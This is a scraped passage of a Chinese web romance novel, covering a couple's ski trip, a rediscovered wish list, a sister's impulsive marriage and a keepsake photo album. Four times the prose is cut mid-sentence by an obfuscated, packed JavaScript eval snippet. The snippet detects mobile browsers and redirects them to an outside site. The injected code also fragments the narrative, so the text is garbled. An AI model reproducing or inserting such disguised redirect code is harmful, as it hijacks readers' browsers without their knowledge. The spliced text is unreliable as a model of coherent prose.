沈珠楹撇了一下嘴,因为只有一个勺子,她又舀了一口递到傅斯灼嘴边,说:“才不信呢,傅斯灼,你一定有秘密瞒着我。” 傅斯灼低头吃了一口,没接她说的话,只说:“宝宝,明天抽个时间,我们去滑雪吧。” “……滑雪?”沈珠楹戳了颗樱桃扔进嘴里,歪头眨眼,“可是我不会啊。” 傅斯灼弯眸看她:“你有老公。” “有老公我就什么都会了吗?” 傅斯灼嗯了声,说:“我教你。” “那要是你也不会怎么办?” 傅斯灼语气轻飘飘地:“那学了以后教你。” 沈珠楹笑了:“那好吧。” 吃完板栗鸡,两个人又手牵着手来到华大的远春园散步。 与上回被单身狗追着拿雪球砸的情况不同,这回在路上散步的情侣很多,安静又亲密的,偶尔低笑着说说话。 而她跟傅斯灼只是其中一对再普通不过的情侣。 这几天京北市的天气又开始转冷,远春园寒风萧瑟,沈珠楹远远看着天上的落叶孤零零地打着旋儿,不知道为什么,总觉得这一幕她期待已久,而且—— 她偏头看着男人在冷风中愈发清晰的棱角,心底莫名涌现了一股陌生又熟悉的感觉。 第二天一大早,傅斯灼抱着她去洗漱。 沈珠楹脑袋昏昏沉沉地搭在男人肩窝,打了个哈欠,顺手拿过男人递过来的牙刷,咬进嘴里,含含糊糊地抱怨。 “怎么这么早啊?” “地方有点远。”傅斯灼摸了摸她的脑袋,低声道,“等一下在车上再睡会儿?” 沈珠楹嗯嗯两声,然后又说:“傅斯灼,我感觉你最近有点怪怪的。” 傅斯灼眼神微动:“哪里怪?” 沈珠楹在男人怀里拱了两下,笑了,没心没肺地说:“怪好看的。” 傅斯灼:“……” 到达滑雪场的时候,指针正好指向上午十点。 偌大的,一眼望不到尽头的滑雪场,此刻一个人也没有,冰天雪地间,只有他们两个人。 “滑雪场里面怎么只有我们啊?”沈珠楹眼底划过几分惊喜,“好幸运啊,傅斯灼,我们一不小心就包场了!” “嗯。”傅斯灼扯唇笑了,说,“好幸运啊。” 沈珠楹费了点儿劲,在傅斯灼的帮助下顺利穿上了粉色滑雪服,雄赳赳气昂昂地,打算大干一场。 傅斯灼站在一旁,穿了一身黑色的滑雪服,整张脸基本上被挡住了,看上去却莫名很有感觉。 沈珠楹啧啧两声,在心底感叹。 果然,帅哥是一种氛围感。 沈珠楹花了点时间,在傅斯灼的指导下学会了一些基础的滑雪动作,在平地上滑了一会儿,自我感觉良好,此刻自信心爆棚。 她甩了甩傅斯灼扶着她的手:“好了,现在我已经不需要你了,师父,你离我远一点,我出师了。” 傅斯灼轻扬眉梢:“你确定?” “确定啊。”沈珠楹喜滋滋,“我好聪明呀傅斯灼,才学了两个小时就出师了。” 男人失笑,再次问她:“你确定?” “确定啊。” “好。” 傅斯灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268511|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓松开了。 刚一松开,沈珠楹就踉跄了一下,差点没站稳。 她咽了下口水,略微紧张地眨眼睛,嘴里面小声嘟囔着傅斯灼刚刚教她的话。 “上半身放松,双脚与肩同宽,膝盖微屈,使用八字形控制速度……” 沈珠楹结结巴巴地,又看向他,问:“是外八还是内八来着?” 傅斯灼被她可爱得不行,偏头笑着说:“初学者是外八。” “哦,外八……” 沈珠楹咽了下口水,缓缓做出一个内八的姿势。 “……” “我现在……已经不是初学者了,是一个成熟的滑雪者,内八也很好,我可以的。” 沈珠楹不想承认是因为自己太紧张,所以不小心做错了姿势。 她小心翼翼地控制着双板,感觉自己此时滑动的姿势像外婆家里面养得那群大肥鸭。 沈珠楹气鼓鼓地看向站在一旁,已经笑得肩膀在乱颤的男人:“傅斯灼,你笑什么?” “笑你可爱。” 他这是实话,但是沈珠楹不信,她低下头,继续默默控制滑板,试着滑了两步,还是感觉自己像大肥鸭,于是欲哭无泪地看向傅斯灼,一脸生气地道。 “傅斯灼,有没有更体面一点的姿势啊,用这个姿势滑雪好丑啊!” 傅斯灼敛了笑,凑近她,正打算继续扶着她,沈珠楹脚底便一滑,身体往后仰去,男人眼疾手快地搂住了她的腰,但是她下半身完全失去了平衡,连带着傅斯灼一块往下拉—— 两个人一块儿倒在了地上,傅斯灼整个把她抱进了怀里,摔倒在雪地上,人不受控制地闷哼一声。 沈珠楹此时正整个人都趴在傅斯灼身上,低下头,略显紧张地低头看他。 “你没事吧傅斯灼?” “没事。” “没事就好。”沈珠楹松了口气,正打算起身,却被男人箍住腰,动弹不得。 傅斯灼隔着护目镜看向她。 沈珠楹整张脸都被滑雪装备遮挡得严严实实。 看不见那双眼睛,他又实在想念。 于是傅斯灼摘下沈珠楹的护目镜,她明媚的眼睛也终于露了出来。 傅斯灼满足地呼出一口气,低声对她说:“沈珠楹,也帮我摘一下护目镜。” 他说我想吻你。 第135章 愿望清单 傅斯灼颤抖着睫毛吻上来的时候,沈珠楹突然福至心灵,想起了大学时期上水课的时候,无聊写的愿望清单。 那年毕业季,她寝室里的其他室友们都交了男朋友,果断撬了水课约会去了。 而沈珠楹当时孤零零一个人趴在桌子上,恶狠狠地写下了一张愿望清单。 “沈珠楹2018年愿望清单(必实现版) 开一家花店(??) 跟妈妈和姐姐一起毕业旅行(??) 给每一个好朋友都寄一束花(??) 忘记A同学(×) 遇到下一个心动对象,并狠狠追求他,让他成为我男朋友(×) 跟男朋友一起在华大校园散步(×) 跟男朋友吃一份樱桃椰奶冰(×) 跟男朋友一起去滑雪,假装滑倒跟他亲嘴(×) 跟男朋友一起……泡温泉?(划掉)这个要跟老公才能做。(×)” 现在是2025年,沈珠楹趴在A同学身上,被男人掌住后脑勺,这样熟悉而又亲密地接吻。 心脏仍然扑通,扑通,热烈地跳动。 沈珠楹轻轻眨眼,感受着唇上柔软的触感,然后迟缓地想。 哦,现在的她,好像除了第四个愿望,都要实现了。 沈珠楹眼眶悄悄红了,她低着脑袋,配合着男人密密鼓鼓的节奏,默不作声地,更加用力地跟他接吻。 最后的结果就是……她仍然没学会滑雪,光压着大帅逼接吻了。 “没关系,你想学的话,我们随时都可以来。”傅斯灼这样安慰她。 当时两人已经回了酒店,关上门,傅斯灼压着她,终于迫不及待地,裹着情欲地,不加任何掩饰地吻她。 他当时把她衣服都解得差不多了,沈珠楹勾着男人的脖子,被他吻得眼底同样带着欲望。 “宝宝。”他分开一些,低喘着气,毫无阻碍地,轻轻摩挲着她的腰,笑着,明知故问,“想先做还是先洗澡?” “……” “傅斯灼!”带着羞恼。 他分明知道。 “好喔。” 他说宝宝,那干脆就一起。 …… 后来洗完澡,傅斯灼帮她穿好浴袍,抱着她出来了。 他靠在床头,将她整个人搂进怀里,然后插上吹风机,修长的指尖轻轻按摩她的头皮,动作熟练地给她吹头发。 沈珠楹没什么力气地仰靠在傅斯灼胸膛上,听着吹风机在她耳边嗡嗡,仍然能感受到男人刚刚残留的心跳声。 是他在那时特有的节奏,很剧烈地跳动。 “傅斯灼,你在哪里找到我那张愿望清单的?” 她自己都不记得把这张纸扔到哪里去了。 “想起来了?” “嗯。” 傅斯灼动作顿住片刻,喉结轻轻滚动,坦诚道:“在你看的一本书里,叫《献给阿尔吉侬的花束》” 他把她放在书房里的那些书,全都看完了。 沈珠楹哦了声,想了想,又问:“那张愿望清单现在去哪里了?在你那里吗?” “没有。”傅斯灼垂眸,专心给她吹头发,然后轻声答,“我放回原处了。” 沈珠楹沉默了一会儿,然后支着下巴,清澈的眸子回看他:“傅斯灼,你看到这些,会感到很有压力吗?” 在**的角落里,她这样偷偷注视着他,现在他迟缓地察觉到她的目光,会感到有压力吗? “沈珠楹。”傅斯灼愣住,随即轻叹口气。 他关了吹风机,托着她的下颚,再次轻轻吻了她一会儿。 沈珠楹感受到了他的温柔和珍重。 不知道为什么,沈珠楹好像已经知道答案了。 他终于停止吻她,反问道,“虽然迟了许多,但我仍然想问,现在愿望实现了,沈珠楹,会觉得开心吗?” 沈珠楹思虑几秒,最终仰头看着他,眼底有最真切的笑意,说:“开心。” “开心就好。” 他说沈珠楹,你只要考虑到自己开心就好。 “我不会觉得有压力。”傅斯灼轻吻姑娘的发顶,低声道,“我只觉得很荣幸。” 是真的很荣幸你能出现。 是真的很荣幸能得到你的喜欢。 “哦。”沈珠楹吸了吸鼻子,得瑟地摇了摇脑袋,“那确实,我这么漂亮优秀,被我喜欢确实是你的荣幸。” 沈珠楹仰头看向他,眼底满是跃跃欲试:“那我们接下来做什么啊?” 傅斯灼“唔”了声,轻挑眉,语气暧昧:“做点……跟老公才能做的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268512|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈珠楹“啊”了声,脸悄悄红了,结结巴巴地道:“可是我们刚刚……不是做过了吗?” “做过什么了?”他笑得不行,问。 “就是……”沈珠楹看不得他那得瑟样,于是毫无顾忌地扒拉着他的浴袍,指着男人硬朗胸膛上,新鲜的红痕,气急败坏地道,“做过了呀!” “风信子小姐。”傅斯灼一脸矜持地裹好浴袍,重新盖住上边的红痕,一本正经地道,“我是说泡温泉,你想到哪里去了。” 沈珠楹:“……” 装货。 “嗯?想到哪里去了?”他笑着,继续追问。 “你好烦啊!傅斯灼!” 沈珠楹拿起抱枕打他,不愿承认自己现在有点想涩涩的。 两小时后,酒店露天温泉内。 “傅!斯!灼!” “……嗯?” “不是……嗯……泡温泉吗?” “这不是……泡着呢吗?” “……你大爷的,傅斯灼!” 是这么泡的吗? “诶呦,宝宝。”他低声笑。 那天傍晚,热气缭绕,沈珠楹插入男人湿润的额发,难耐地仰头,注意到天边回馈的晚霞浓烈而盛大,美到让人窒息。 —— 再次回到清风园,已经是两天后了。 沈珠楹懒洋洋地坐在沙发上,抱着自家大肥猫,顺**撸了两下。 傅斯灼送她回到清风园以后,就兢兢业业地去上班了。 沈珠楹这会儿思绪发散着,突然就想起了那张夹在书里的愿望清单,正打算上楼去找找,就收到了沈珠玉给她打的电话。 按了接通,那头沉默了半晌,没说话。 “怎么了姐?”沈珠楹奇怪地问。 “那个……”沈珠玉清咳一声,语气有几分尴尬,“妹啊,姐告诉你件事儿。” 喊她……妹妹? 上次沈珠玉这么喊,还是在十年前。 坏了,她姐这是做了天大的亏心事了。 “什么事?你不会……又跟嘉呈哥分手了吧?” 沈珠玉沉默两秒:“猜反了。” 沈珠楹哦了声,一脸稀松平常地道:“那就是又复合了?” “……” 安静几秒。 沈珠玉说:“猜浅了。” 第136章 自由过了火 沈珠楹撸猫的动作顿住,眼底闪过一丝不妙。 “……” “你不会是……” “对。”沈珠玉一脸淡定地肯定了她的想法,“我跟那货结婚了。” 沈珠楹沉默了整整五秒,随即咆哮声传遍了一整座别墅。 “沈!珠!玉!” “你要死啊!” 猪猪原本懒洋洋地趴在她怀里,舒舒服服地享受着铲屎官的按摩服务,蓦地被吓得一激灵,“pia叽——”一声,摔地上了。 沈珠玉也被她吼得一激灵,不甘示弱地反吼回去:“……你吼这么大声干森莫啦!” 沈珠楹:“……” 她深吸一口气,强迫自己冷静下来,问:“什么时间,什么地点,什么理由?还有,知道这件事的人有几个,你跟妈说了吗?” “我还没跟妈说,这不是……想找你先商量商量对策,你现在有空吗?我们见面说吧。” “废话,我没空也得有空。” 沈珠楹此时额角直抽抽。 她终于开始理解沈珠玉当时听说她结婚,立马就急吼吼订机票的行为了。 如果沈珠楹现在有超能力,大概会毫不犹豫地瞬移过去,把她姐现在脑子里进的水给倒出来。 —— 见面的地点仍然是花间集。 不过沈珠玉本来一脸淡定地坐在门口的原木椅上喝咖啡,被沈珠楹半强迫地拉进了里间。 “干嘛非得在里面聊?”沈珠玉一脸莫名其妙。 沈珠楹板着脸:“家丑不可外扬。” 沈珠玉:“……” 听她讲完事情的经过,沈珠楹的脸色有几分复杂。 “所以……也是你提的结婚?” 沈珠玉“昂”了声。 “喝了点小酒,一时冲动?” 沈珠玉继续“昂”了声。 “你可拉倒吧。”沈珠楹无情拆穿她,“怕不是酒后吐真言。” 她叹了口气,问:“那你接下来打算怎么办?” “能怎么办,能处处,不能处就离,哪有那么复杂。”她一脸洒脱。 沈珠楹:“……我是问你,打算怎么跟妈交代。” 毕竟沈桉女士针对沈珠玉小姐次次吃回头草的行为,每回给予了最高层次的精神攻击。 “要是让妈知道,你不仅爱吃回头草,还直接把草场包下来打算吃一辈子,估摸着会被你气出心脏病。” 沈珠玉默默搅拌着咖啡,随即抬起头,难得带几分讨好地看向她,商量道:“你能不能……” 沈珠楹:“……你想都不要想。” 十分钟后,沈珠楹帮忙拨通了沈桉的电话。 电话一接通,两姐妹都深吸一口气。 “……喂,妈。” “嗯,在呢,怎么了?” “是这样的……”迎着沈珠玉鼓励的目光,沈珠楹硬着头皮问,“妈,你现在心情怎么样?” “挺好的。”沈桉女士声音带几分愉悦,“舞蹈机构这几天生意不错。” “怎么了,你又闯什么祸了?” “不是我。”沈珠楹沉默几秒,飞快道,“是我姐,她结婚了。” 沈桉安静几秒:“……你表姐?” “……不是。”沈珠楹艰难回,“亲姐。” 那头静默了整整两分钟。 许久,沈桉的声音透过话筒,一脸平静地传来。 “你亲姐在旁边吧,叫她接电话。” 沈珠楹:“……遵命。” 臣退了。 她松了口气,果断把手机递给沈珠玉。 沈珠玉把耳朵伸过去,小心翼翼地喊了句:“妈。” “别叫我妈,我不是你妈。” “@/*&@……你TM,CN……” 沈珠玉把手机远离一些:“……” 骂了她整整一个半小时,沈桉说:“手机没电了,沈珠玉,你给我滚回家来,继续挨骂。” “至于你,沈珠楹——” “欸。”沈珠楹乖巧应了声。 “——你也滚回来,我该反思一下了。”沈桉冷笑一声,“是不是我给你们的自由过了火。” —— 两人回到家里客厅的时候,沈桉端坐在主位,看见沈珠玉,又是好一通骂。 骂到最后有些痛心疾首。 “当初把户口本给你们,是怕你们有什么急事要用到,不是要你们闪婚的!!!” 两个人老老实实地站着,明明是她的女儿,却被训得像孙子。 最后沈桉冷静下来,问:“你跟你那个炮……不是,前男友,这些年分分合合,怎么突然想到要结婚了。” 沈珠玉:“……就是喝了点儿酒……” “小玉。”沈桉打断她,脸色终于柔和下来,说,“你一直以来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268513|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都喝不醉。” “珠珠才是一杯倒。” 沈珠楹:“……” 她站在一旁,又莫名躺枪。 “小玉,一直以来,你都比珠珠让我省心。”沈桉抬眸看向她,“但是在感情上,你远不如珠珠坦诚。” 沈珠玉安静几秒,最终垂下头,承认道:“那可能就是有点喜欢。” “行了,知道了。”沈桉最终挥了挥手,妥协道,“既然已经结了婚,那就带回来看看吧。” “好的,妈妈。”沈珠玉这会儿心虚,看上去异常乖巧。 “对了,你那个前男友,到底是做什么工作的?” 沈珠玉:“……男模。” 沈珠楹:“……” 她想起了上回在酒吧遇上的男模,于是问:“是正经男模吗?” 沈珠玉看她一眼就知道她脑子里放的什么屁。 她翻了个白眼道:“舞台上走T台的,正经男模!!!” “……那就好。”沈珠楹松了口气。 沈珠楹想了想自己的流程,一本正经地道:“那下一步是不是该双方父母见面了?” 沈珠玉沉默两秒,说:“他父母双亡,是在孤儿院长大的。” 沈珠楹:“……” 我真该死啊。 —— 吃饭的地点是徐嘉呈定下的,在一家五星级酒店。 傅斯灼也被抓过来充当壮丁。 本来按理来说,是怎么着也轮不到他这个妹夫来考察姐夫的。 只是沈桉女士坚持道:“咱们一家人里面,谁靠谱啊?谁都不靠谱,就只有小灼还稍微像样一点。” “他看人准,哎呦,我们小灼啊,最是聪明懂事。” 一提起傅斯灼,沈桉女士就笑得像朵花。 三人进去的时候,徐嘉呈就立马起身迎接,跟着他站起来的,还有一位头发花白的妇人。 听他介绍道,这位是他孤儿院的院长,唯一的亲人。 一顿饭吃完,沈桉女士再次变脸。 “哎呦,我们嘉呈,真是有出息啊,小时候也不容易,这么多年在外打拼,一定受了不少苦。” 她看向沈珠玉:“你别老欺负他!人家这么老实本分一小伙子。” 沈珠玉扶额:“……他老实?难怪您老看上渣男呢。” 他要是老实,沈珠楹家里那只大肥猪都能上树了好吗??? 第137章 是我想你 沈珠楹站在一旁,低声对傅斯灼说:“傅斯灼,我今天晚上就不回去了,想跟姐姐睡。” 傅斯灼抿唇看向她,轻轻摩挲着她的手,没说话。 “好不好嘛,傅斯灼。”她拿小拇指勾了勾他的指尖,声音有几分软。 “……沈珠楹。”傅斯灼语气无奈。 怎么又撒娇。 沈珠楹当晚还是成功跟沈珠玉睡在了一块儿。 “姐姐,你怎么突然决定要跟嘉呈哥结婚呀?”她抱着沈珠玉的胳膊,一脸依恋地蹭了蹭。 “也没有……很突然吧?”沈珠玉想了想,说,“就是觉得,分分合合这么多年,总要有个结果了呀。” “而且,我跟他之间的这段感情,总归还是我对不住他多一些。” “所以这一次,我想当更主动一点的人。” 沈珠玉不得不承认,他们的每一次分手都筋疲力尽,仿佛耗尽了所有力气,却又总在下一次见面,情不自禁地,像两株藤蔓一样紧紧将彼此缠绕。 徐嘉呈总是会在吵架的时候问她。 “沈珠玉,为什么每一次遇到什么事,你想的都不是跟我一起去克服,而是在第一时间将我抛下。” 为什么呢? 沈珠玉轻叹一口气。 大约是觉得不忍心。 大约是不想他太辛苦。 “别聊我了,聊聊我的宝贝珠珠。”沈珠玉轻轻揉她的脑袋,“跟A同学的婚后生活怎么样啊?” “就……还可以呀。” 提到傅斯灼,沈珠楹的脸就不自觉红了,转身蒙进枕头里,声音却仍然透着几分掩不住的笑意。 是少女的羞涩。 “就只是……还可以吗?”沈珠玉了然地笑。 安静几秒。 她听见沈珠楹说。 “很幸福呀。” 沈珠楹说:“就是……很庆幸跟他提出要结婚的幸福呀。” “姐姐,他在几天前,知道我喜欢他很久了。” “嗯?你告诉他的吗?” “没有。”沈珠楹支着下巴,说,“他自己发现的。” 沈珠玉说:“早就猜到会有那么一天。” “怎么会呢?”沈珠楹说,“我以为我会瞒得更久一点。” “傻瓜珠珠。” 因为你的满心欢喜,就算绞尽脑汁地想藏住,也会在不经意地时候显露出来啊。 “但是……还有一件事,你肯定不知道。”沈珠楹眼底藏了几分得瑟。 “什么?”沈珠玉偏头,注意到自家妹妹一双眼睛在黑暗中亮得惊人,于是整颗心都软了下去,柔声道,“你先说说看。” “就是……”沈珠楹凑到她耳边,满心欢喜地说,“我也是刚刚才知道的,原来他有悄悄关注我两年多欸。” 沈珠玉愣住,眼眶蓦地红了。 “真的啊?” “真的啊。”沈珠楹点了点头,然后说,“他也会看我之前看过的书,会看我爱看的电影,会跟我一起经营花间集,会特意学习手语……” 沈珠楹又想起了他在很早之前,就夹在数学错题册里的那株石榴花,然后说:“总之——” “我想我真的,在很早以前就收到他的回馈了。” 原来在这条名为暗恋的路上,她从来都不是孤单一个人。 “所以姐姐不要再替我感到不值啦,他真的对我很好。” “珠珠……”沈珠玉鼻子有点酸,抱着她说,“你总是那么细心。” 沈珠玉要承认。 她的确,从头到尾,都在替沈珠楹感到不值。 因为这十一年,她真的看到了很多。 亲爱的妹妹,你的努力总是得不到回馈。 她看到沈珠楹为了他熬夜去学那些怎么学也学不懂的数学题,可是高考成绩出来,拖后腿的也还是数学。 她看到沈珠楹与华大失之交臂,偷偷躲在房间里哭了好几天,眼睛都哭肿了,最终还是决定复读。 她看到沈珠楹考上华大,笑着在梨树下冲她挥舞着录取通知书,却又在一眨眼蹲在华大门口哭,说姐姐,我怎么又晚了一步。 沈珠玉总是会想—— 到底是什么样的人呢? 值得她等了一年又一年。 尽管知道这一切都与那个叫傅斯灼的人无关,沈珠玉也仍然忍不住开始讨厌他。 讨厌他的一无所知,怎么能那么轻松。 但是如果现在,他真的让珠珠感到幸福的话,沈珠玉想,她也可以单方面原谅他的一无所知。 两姐妹就这样小声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276545|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊了许久,一直到天蒙蒙亮才昏昏沉沉地睡去。 “沈!珠!楹!” 第二天上午,“咚——”的一声。 沈珠楹坐在地毯上,一脸淡定地揉着自己的屁股。 而沈珠玉摸着自己脸上的牙印,一脸冷漠地想,错了,她不应该讨厌傅斯灼。 因为他每晚都要忍受这种睡相的沈珠楹,才是真的很可怜。 “你怎么回事?傅斯灼是怎么忍受你的?” 沈珠楹“啊——”了声,略显心虚地道:“没有啊,我平常跟他睡的时候,睡相都很好的。” 沈珠玉:“我是秦始皇你信吗?” 沈珠楹:“……” 而傅斯灼丝毫不知道自己被可怜了。 他此时站在客厅,微仰着头,正在系衬衫扣,系到一半,他动作顿住,碰了碰锁骨上方的咬痕,轻抬眉梢。 眼底有几分遗憾。 咬痕快消失了。 傅斯灼拿出手机,想了想,给她发了一句。 【FIRST】:“珠珠,猪猪想你了。” 过了几秒,又补充一句。 【FIRST】:“想得都饿瘦了。” 大概中午的时候,傅斯灼坐在办公桌上,收到了女生的回信。 【风信子小姐】:饿瘦了? 【风信子小姐】:那我晚几天再回来吧,正好给猪猪减减肥。 傅斯灼:“……” 她轻叹口气,长按语音条,拖长了嗓子,无奈道:“老婆——” 她分明知道他是什么意思。 但是沈珠楹似乎不为所动,也发过来一条语音,语气一本正经。 【风信子小姐】:怎么了?老公。 老公两个字,被她念得铿锵有力,语气坚定得似乎要入党。 傅斯灼被气笑了。 他安静几秒,终于妥协,给她发了一条语音。 而嘴上说着要晚几天回去的沈珠楹,此时已经回到清风园,一脸悠闲地坐在沙发上看电视,手上顺着猫**,不紧不慢地点开了语音条。 窗外阳光撒进来,室内充满了两个人相处的温馨相处过的痕迹。 男人的声音充满磁性,娓娓道来回荡在客厅。 他说:“老婆,是我想你。” 第138章 一切都圆满 听到这句话,沈珠楹满意了。 她清咳一声 一脸得瑟地给傅斯灼发了句语音。 【木字满盈】:行吧,那你等我摆驾回宫。 【A同学】:谢皇上。 傅司长最近很上道啊。 沈珠楹盯着那三个字笑了一会儿,又想起了之前被夹在书里的愿望清单,于是拎起正在吃猫条的猪猪就走。 猪猪炸毛:“喵喵喵?” “走喽猪猪,跟妈妈去书房看书,顺便陶冶一下情操。”她又揉了揉猫肚子,一脸遗憾地道,“让你肚子里也装点墨水。” 猪猪:“……” 沈珠楹拎着猫进了书房,随即把它放到一旁的沙发上,又拿了一本《犬猫营养学》放到它面前,翻到“猫脂肪肝”那一页,一本正经地叮嘱道:“乖乖看书嗷,看完才有猫条吃。” 大胖橘懒洋洋地趴在沙发上,傲娇冲她翻了个白眼。 沈珠楹转身走到书架处,开始认真找那本《阿尔吉侬的花束》。 中途大胖橘拖着自己肥胖的身躯,慢吞吞地挪到了书桌边,盯着在它看来十分“高大”的书桌看了一会儿,随即矫健一跳—— 果然没跳上去。 生活不易,猪猪叹气。 大胖橘于是又挪到沈珠楹腿边,咬住沈珠楹的裤脚,晃了晃。 沈珠楹低头看向它,问:“怎么了?” 它轻抬下巴,往书桌那儿傲慢一指。 沈珠楹盯着它圆形的下巴,陷入了沉默。 所以是哪个方向? 猪猪再次叹气。 它将沈珠楹扯到了书桌前。 “是那本书在书桌……” 沈珠楹语气顿住。 她视线一转,注意到书桌上放了一本崭新的相册。 相册的封面写了一行字——“关于风信子小姐” 沈珠楹盯着这行字看了一会儿,最终还是缓缓地打开了那本相册。 因为随着两人的关系越来越亲密,他们之间的隐私界限也越来越模糊,有很多东西,好像不需要再分你我了。 更何况,风信子小姐,是她。 入目便是他们看上去还略显生疏的结婚证件照,沈珠楹拿出来,发现后面还写了几行字。 「2024年10月13日 风信子小姐,我们结婚了。 你埋怨我为什么不笑,但是请相信,我是真的紧张。」 再往后,下一张,隔着车窗和一簇热烈的紫罗兰,沈珠楹笑着递了一束花给客人。 「2024.10.26 第一次接你回家,好奇妙的感觉。 风信子小姐,真高兴今天天气很好。」 再下一张,隔着一扇浅紫色纱帘,她正在认真浇花。 「2024.11.6 出差了十几天,再一次见到你,你好像生气了? 风信子小姐,今天下雨了,希望以后出差的时候,你会对国外的月亮感兴趣。」 …… 又一张,是沈珠楹低着脑袋,坐在餐桌上吃饭的照片。 「2024.12.6 第一次下厨,你说我熬的粥很好喝。 也许我应该忽略掉垃圾桶里的那些废料,若无其事地对你说声谢谢。」 “诶呦,我就说他第一次做,厨艺不可能这么好。” 沈珠楹小声嘟囔着,随即抹掉不自觉溢出来的眼泪。 是真的没想到,她会被这样认真的记录着。 沈珠楹一张一张地往后翻,亲眼目睹了这些照片后,厚重而又绵长的爱意,她努力地控制住了自己的情绪,没有完全失去形象。 直到她翻到后面的照片。 是前几天,李清雯给她拍的那张照片。 沈珠楹在京北附中内,站在浩大的夕阳前,手里拎着橘子汽水,笑着比出一个“耶”。 但是与之前她看到的照片不同的是,背景变了。 傅斯灼的背影出现在了照片中。 不—— 不对。 这回不是背影。 傅斯灼就站在她身后不远处,手上也提了一罐橘子汽水,笑意温柔地看着她,跟她比了一个同款姿势。 「2025.02.24 宝宝。」 他好像不知道该说什么,几次落笔,最终也只写下这两个字,举重若轻的,却总让人觉得遗憾。 但是沈珠楹看懂了。 他想说宝宝,是真的抱歉,当时只留下一张背影。 他注意到了。 沈珠楹捂着嘴,眼泪早已喷涌而出,泣不成声。 他终于,也注意到了。 沈珠楹几乎是在下一秒转头,找到了自己的那本相册,然后翻到了之前的那张照片。 她那年十六岁,手里拿着一罐橘子味汽水,对着镜头,笑着比了个耶。 身后是熟悉的红绿色跑道,穿着校服的少男少女们成为了她的背景板。 但其实不是背景板—— 因为主角就在她身后。 那年附中运动会,傅斯灼获得了一百米短跑的冠军,在离她很远的身后,他手里拿了块金牌,正侧着脑袋,整个人背对着她,笑着跟别人说话。 沈珠楹当时把手机递给沈桉,让她拍下了现在这张照片。 他在十六岁那年没有看见她,却在二十七岁那年,眼里只有她。 沈珠楹垂眸,抹了把眼泪,拿着那本旧相册,继续往后翻。 再次看见了她跟周煜的那张合照。 其实拍照的时候,沈珠楹并没有意识到,后面的人群里,出现了傅斯灼的背影。 是在后来,拍那张照片的人把照片传给她,她随意一瞥,就注意到了身后汹涌人群中,总是那样孤独的背影。 到底是发生了什么呢? 傅斯灼,为什么在后来遇到你的每一次,你都那样沉默而辛苦呢? 于是她把照片打印出来,在照片的背后,写下了一段话。 “TO:A同学 毕业快乐,遥祝未来的你,路都宽广,前途也光明。” 如果没有的话,也真的很希望你能感到快乐。 沈珠楹到现在,其实已经忘了她写下这段话时的心情了。 但是她翻开了那本新相册,发现了一张新合影。 是在几天前,两人去华大的校园散步时拍的。 照片上,仍然是傍晚,而沈珠楹那时正偷偷看躲在一旁亲嘴的小情侣,没看镜头。 但是原本说要去接个工作电话的傅斯灼,却不知道在什么时候,早已出现在了她的身后,抱着胳膊,好整以暇地看她。 笑着的,目光绵长而温柔。 仍然只占据了照片的一个小角落,眸光却只落在她身上。 沈珠楹翻开照片背面。 “TO:风信子小姐 迟来的毕业快乐,近祝现在的你,万物明朗,一切都圆满。” 第139章 也很贵 傅斯灼下班回来后,下意识地往客厅看去—— 那里一盏孤黄的灯光静静地照着,此刻空无一人。 傅斯灼轻叹口气,将手里买的板栗放在玄关处,再次点开他跟沈珠楹的聊天框。 两人的对话还停留在最后一句。 【FIRST】:谢皇上。 傅斯灼盯着这句话看了一会儿,随即开始打字。 【FIRST】:皇上考虑好了吗?准备什么时候摆驾回宫。 【FIRST】:我现在去接你,好吗? 耐心等了几分钟,没得到回复,傅斯灼给她打了个电话。 铃声响了好几秒,这才接通。 那头呼吸声很重,一直没说话。 于是傅斯灼低声问道:“珠珠,现在还跟姐姐在一起吗?” “没有。”声音还挺平静。 但是傅斯灼几乎是在下一秒,就再次拿起车钥匙,打开门往外走。 “怎么哭了?你在哪里?我现在来接……” 